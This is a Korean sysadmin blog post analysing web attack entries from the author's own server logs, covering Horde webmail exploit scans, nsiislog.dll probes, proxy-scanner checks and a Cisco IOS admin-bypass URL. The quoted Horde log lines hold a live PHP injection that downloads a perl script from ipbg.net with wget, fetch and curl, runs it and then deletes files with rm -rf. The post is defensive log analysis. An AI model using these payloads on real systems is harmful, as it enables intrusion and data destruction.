글쓴이 : 좋은진호 ( http://coffeenix.net/ )

조회수 : 10731

	[ 이전화면 / 수정 ]   비밀번호 :
	제  목 : 웹공격에 대한 웹로그들 2번째 작성자 : 좋은진호(truefeel, http://coffeenix.net/ ) 작성일 : 2006.5.25(목)~ 정리일 : 2006.9.18(월) '웹공격에 대한 웹로그들'에 이은 2번째 웹로그 분석(?) 결과이다. 너무나도 많은 유형의 웹공격 로그가 그동안 남았지만 명확하게 분석하기 힘든(관련 자료를 찾아볼 수 없는) 상황이다. 이런 시점에 모든 로그를 분석 정리하는 것은 불가능한 것은 당연하고, 더 많은 분석 결과를 제공하려고 하다가는 너무나 시점이 늦어질 것 같아 일부라도 정리했다. 기존에 기록된 로그중 어떤 공격시도인지 파악이 되면 이글에 추가하도록 하겠다. 웹공격이 있을 때 실제 해킹을 당했을 가능성 여부는 이전에 썼던 글을 읽어보기 바란다. http://coffeenix.net/board_view.php?bd_code=1352 ※ 이 글 만큼은 MSIE에서 테이블이 가장 잘 표시됩니다. 1. 시스템 모니터링 툴 What's Up이 남긴 로그   210.xxx.xx.xxx - - [19/Apr/2006:17:20:25 +0900] "HEAD / HTTP/1.0" 200 - "WhatsUp Professional/1.0" 210.xxx.xx.xxx - - [19/Apr/2006:17:35:33 +0900] "HEAD / HTTP/1.0" 200 - "WhatsUp Professional/1.0"   - 윈도기반의 상용 모니터링 툴인 What's Up이 웹서버가 살아있는지 체크하기 위해 접속한 로그이다. 참고자료 : * WhatsUp 홈페이지   http://www.ipswitch.com/products/whatsup/index.asp 2. 오픈소스기반 웹메일 Horde 취약점을 이용한 공격   201.219.7.xx - - [24/Apr/2006:00:08:53 +0900] "GET //README HTTP/1.1" 404 - "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 201.219.7.xx - - [24/Apr/2006:00:08:54 +0900] "GET /horde//README HTTP/1.1" 404 - "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 201.219.7.xx - - [24/Apr/2006:00:08:54 +0900] "GET /horde2//README HTTP/1.1" 404 - "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 201.219.7.xx - - [24/Apr/2006:00:08:55 +0900] "GET /horde3//README HTTP/1.1" 404 - "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 201.219.7.xx - - [24/Apr/2006:00:08:55 +0900] "GET /horde-3.0.9//README HTTP/1.1" 404 - "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 201.219.7.xx - - [24/Apr/2006:00:08:56 +0900] "GET /Horde//README HTTP/1.1" 404 - "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 201.219.7.xx - - [24/Apr/2006:00:08:56 +0900] "GET /mail//README HTTP/1.1" 404 - "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 201.219.7.xx - - [24/Apr/2006:00:08:57 +0900] "GET /webmail//README HTTP/1.1" 404 - "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 201.219.7.xx - - [24/Apr/2006:00:08:58 +0900] "GET /horde-3.0.1//README HTTP/1.1" 404 - "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 201.219.7.xx - - [24/Apr/2006:00:08:58 +0900] "GET /horde-3.0.2//README HTTP/1.1" 404 - "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 201.219.7.xx - - [24/Apr/2006:00:08:59 +0900] "GET /horde-3.0.3//README HTTP/1.1" 404 - "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 201.219.7.xx - - [24/Apr/2006:00:08:59 +0900] "GET /horde-3.0.4//README HTTP/1.1" 404 - "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 201.219.7.xx - - [24/Apr/2006:00:09:00 +0900] "GET /horde-3.0.5//README HTTP/1.1" 404 - "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 201.219.7.xx - - [24/Apr/2006:00:09:00 +0900] "GET /horde-3.0.6//README HTTP/1.1" 404 - "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 201.219.7.xx - - [24/Apr/2006:00:09:01 +0900] "GET /horde-3.0.7//README HTTP/1.1" 404 - "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 201.219.7.xx - - [24/Apr/2006:00:09:01 +0900] "GET /horde-3.0.8//README HTTP/1.1" 404 - "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"     216.65.xx.xxx - - [30/Apr/2006:06:36:30 +0900] "GET /thisdoesnotexistahaha.php HTTP/1.1" 404 - "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 216.65.xx.xxx - - [30/Apr/2006:06:36:30 +0900] "GET /horde/services/help/ HTTP/1.1" 404 - "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 216.65.xx.xxx - - [30/Apr/2006:06:36:31 +0900] "GET /horde-cvs/horde/services/help/ HTTP/1.1" 404 - "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 216.65.xx.xxx - - [30/Apr/2006:06:36:31 +0900] "GET /pub/horde-cvs/horde/services/help/ HTTP/1.1" 404 - "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 216.65.xx.xxx - - [30/Apr/2006:06:36:35 +0900] "GET /horde/services/help/ HTTP/1.1" 404 - "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 216.65.xx.xxx - - [30/Apr/2006:06:36:36 +0900] "GET /pub/horde-cvs/horde/services/help/ HTTP/1.1" 404 - "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"     196.40.xx.xxx - - [23/Jun/2006:02:05:37 +0900] "GET /horde/services/help/?show=about&module=;%22.passthru(%22killall%20-9%20perl;cd%20%22.chr(47).%22tmp;wget%20http:%22.chr(47).%22%22.chr(47).%22ipbg.net%22.chr(47).%22h;fetch%20http:%22.chr(47).%22%22.chr(47).%22ipbg.net%22.chr(47).%22h;curl%20-O%20h%20http:%22.chr(47).%22%22.chr(47).%22ipbg.net%22.chr(47).%22h;perl%20h;rm%20-rf%20*%22);'. HTTP/1.1" 404 - "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 196.40.xx.xxx - - [23/Jun/2006:02:05:38 +0900] "GET /services/help/services/help/?show=about&module=;%22.passthru(%22killall%20-9%20perl;cd%20%22.chr(47).%22tmp;wget%20http:%22.chr(47).%22%22.chr(47).%22ipbg.net%22.chr(47).%22h;fetch%20http:%22.chr(47).%22%22.chr(47).%22ipbg.net%22.chr(47).%22h;curl%20-O%20h%20http:%22.chr(47).%22%22.chr(47).%22ipbg.net%22.chr(47).%22h;perl%20h;rm%20-rf%20*%22);'. HTTP/1.1" 404 - "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 196.40.xx.xxx - - [23/Jun/2006:02:05:38 +0900] "GET /horde-cvs/horde/services/help/?show=about&module=;%22.passthru(%22killall%20-9%20perl;cd%20%22.chr(47).%22tmp;wget%20http:%22.chr(47).%22%22.chr(47).%22ipbg.net%22.chr(47).%22h;fetch%20http:%22.chr(47).%22%22.chr(47).%22ipbg.net%22.chr(47).%22h;curl%20-O%20h%20http:%22.chr(47).%22%22.chr(47).%22ipbg.net%22.chr(47).%22h;perl%20h;rm%20-rf%20*%22);'. HTTP/1.1" 404 - "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)" 196.40.xx.xxx - - [23/Jun/2006:02:05:39 +0900] "GET /pub/horde-cvs/horde/services/help/?show=about&module=;%22.passthru(%22killall%20-9%20perl;cd%20%22.chr(47).%22tmp;wget%20http:%22.chr(47).%22%22.chr(47).%22ipbg.net%22.chr(47).%22h;fetch%20http:%22.chr(47).%22%22.chr(47).%22ipbg.net%22.chr(47).%22h;curl%20-O%20h%20http:%22.chr(47).%22%22.chr(47).%22ipbg.net%22.chr(47).%22h;perl%20h;rm%20-rf%20*%22);'. HTTP/1.1" 404 - "Mozilla/4.0 (compatible; MSIE 6.0; Windows 98)"   - IP : 에콰도르 (RC, 201.219.7.0/24)        미국 (216.65.0.0 - 216.65.127.255)        코스타리카(CR, 196.40.85.128/25) 참고 자료 : 3. 윈도 미디서 서비스 ISAPI nsiislog.dll POST 오버플로우 취약점을 이용한 공격   202.100.xxx.xxx - - [24/Apr/2006:11:53:13 +0900] "GET /scripts/nsiislog.dll" 404 - "-" 202.100.xxx.xxx - - [24/Apr/2006:11:53:54 +0900] "GET /scripts/nsiislog.dll" 404 - "-"   - IP : 중국(CN, 202.100.96.0 - 202.100.127.255) - 2003년 6월에 나온 취약점이며, Windows 2000서버에 해당된다.   80포트로 'GET /scripts/nsiislog.dll /HTTP/1.0' 를 요청했을 때 서버에서 'NetShow ISAPI Log Dll'   값을 뿌려준다면 취약점이 있는 시스템이다. 참고자료 : * Microsoft Media Services ISAPI nsiislog.dll POST Overflow   http://www.osvdb.org/4535 * Windows Media Services Remote Command Execution #2   http://archives.neohapsis.com/archives/bugtraq/2003-06/0211.html * Successful attack using MS03-022 vuln   http://lists.sans.org/pipermail/unisog/2003-September/022422.html 4. proxy_scanner 툴을 이용한 Proxy scanning 로그   211.100.xx.xx - - [06/Jun/2006:21:17:38 +0900] "GET http://check.211.xxx.xxx.xx.v.80.pdx8.super.proxy.scanner.ii.9966.org/Provy_OK.html HTTP/1.1" 404 - "-" 61.135.xxx.xxx - - [06/Jun/2006:23:43:32 +0900] "GET http://check.211.xxx.xxx.xx.v.80.PCN22.super.proxy.scanner.ii.9966.org/Provy_OK.html HTTP/1.1" 404 - "-" 211.100.xx.xx - - [02/Jul/2006:09:37:52 +0900] "GET http://check.211.xxx.xxx.xx.v.80.pdx8.super.proxy.scanner.ii.9966.org/Provy_OK.html HTTP/1.1" 404 - "-"   - IP : 중국 (CN, 211.100.32.0 - 211.100.95.255)        중국 (CN, 61.135.0.0 - 61.135.255.255) - 2004년에 중국 해커에 의해 릴리즈된 Proxy Scanning 툴 'proxy_scanner'을 이용해서 Proxy 사용   가능여부를 확인하기 위한 요청이다. - URL 요청 형식은 다음과 같다.   http://check.$ip_address.v.80.(pdx8|PCN22|mt1|pw1).super.proxy.scanner.(i.thu.cn|ii.9966.org)/Provy_OK.html   check...super.proxy.scanner.(i.thu.cn|ii.9966.org)의 호스트는 모두 61.135.170.153 IP로 lookup되는   것으로 보아 몇몇 IP(DNS등)만 제외하고 '* IN A 61.135.170.153'으로 DNS 설정되어 있는 것으로 보인다. - 이 들 웹서버는 lighttpd/1.4.11을 사용한다. (80포트로 telnet해서 보면 쉽게 확인 가능) 참고자료 : * What's a super.proxy.scanner and why is it in my logs?   http://isc.sans.org/diary.php?storyid=1298 * Proxy Probes   http://www.splunk.com/splunkbin/426 5. Cisco ISO HTTP을 통해 admin 권한을 갖을 수 있는 취약점을 이용한 공격   81.225.xx.xx - - [29/Aug/2006:13:23:45 +0900] "GET /level/16/exec/show%20conf HTTP/1.1" 404 - "Mozilla/4.0 (compatible; MSIE 5.5; Windows 95; PMF Master V3.0)"   - IP : 스웨덴(SE, 81.224.0.0 - 81.236.255.255) - 이전 웹로그 분석 글의 '14. Cisco Switch의 아주 예전 HTTP 취약점(2001년)을 이용한 공격'   항목을 참고하기 바란다. - 이 취약점은 http://Switch_IP/level/$NUMBER/exec/.... URL을 이용해서 full admin권한을 갖을   수 있으며 /level/$NUMBER/exec/... 에서 $NUMBER는 16에서 99사의 숫자이다. - Cisco Global Exploiter라는 자동화된 툴을 이용해서 CISCO의 취약점을 스캐닝하는 툴이 있다. 참고 자료 : * Cisco IOS HTTP Configuration Arbitrary Administrative Access Vulnerability   http://www.securityfocus.com/bid/2936 * Multiple Cisco Exploit Codes   http://www.securiteam.com/exploits/5OP0L1FCAE.html   http://downloads.securityfocus.com/vulnerabilities/exploits/ciscoMultipleVulnsExploit.pl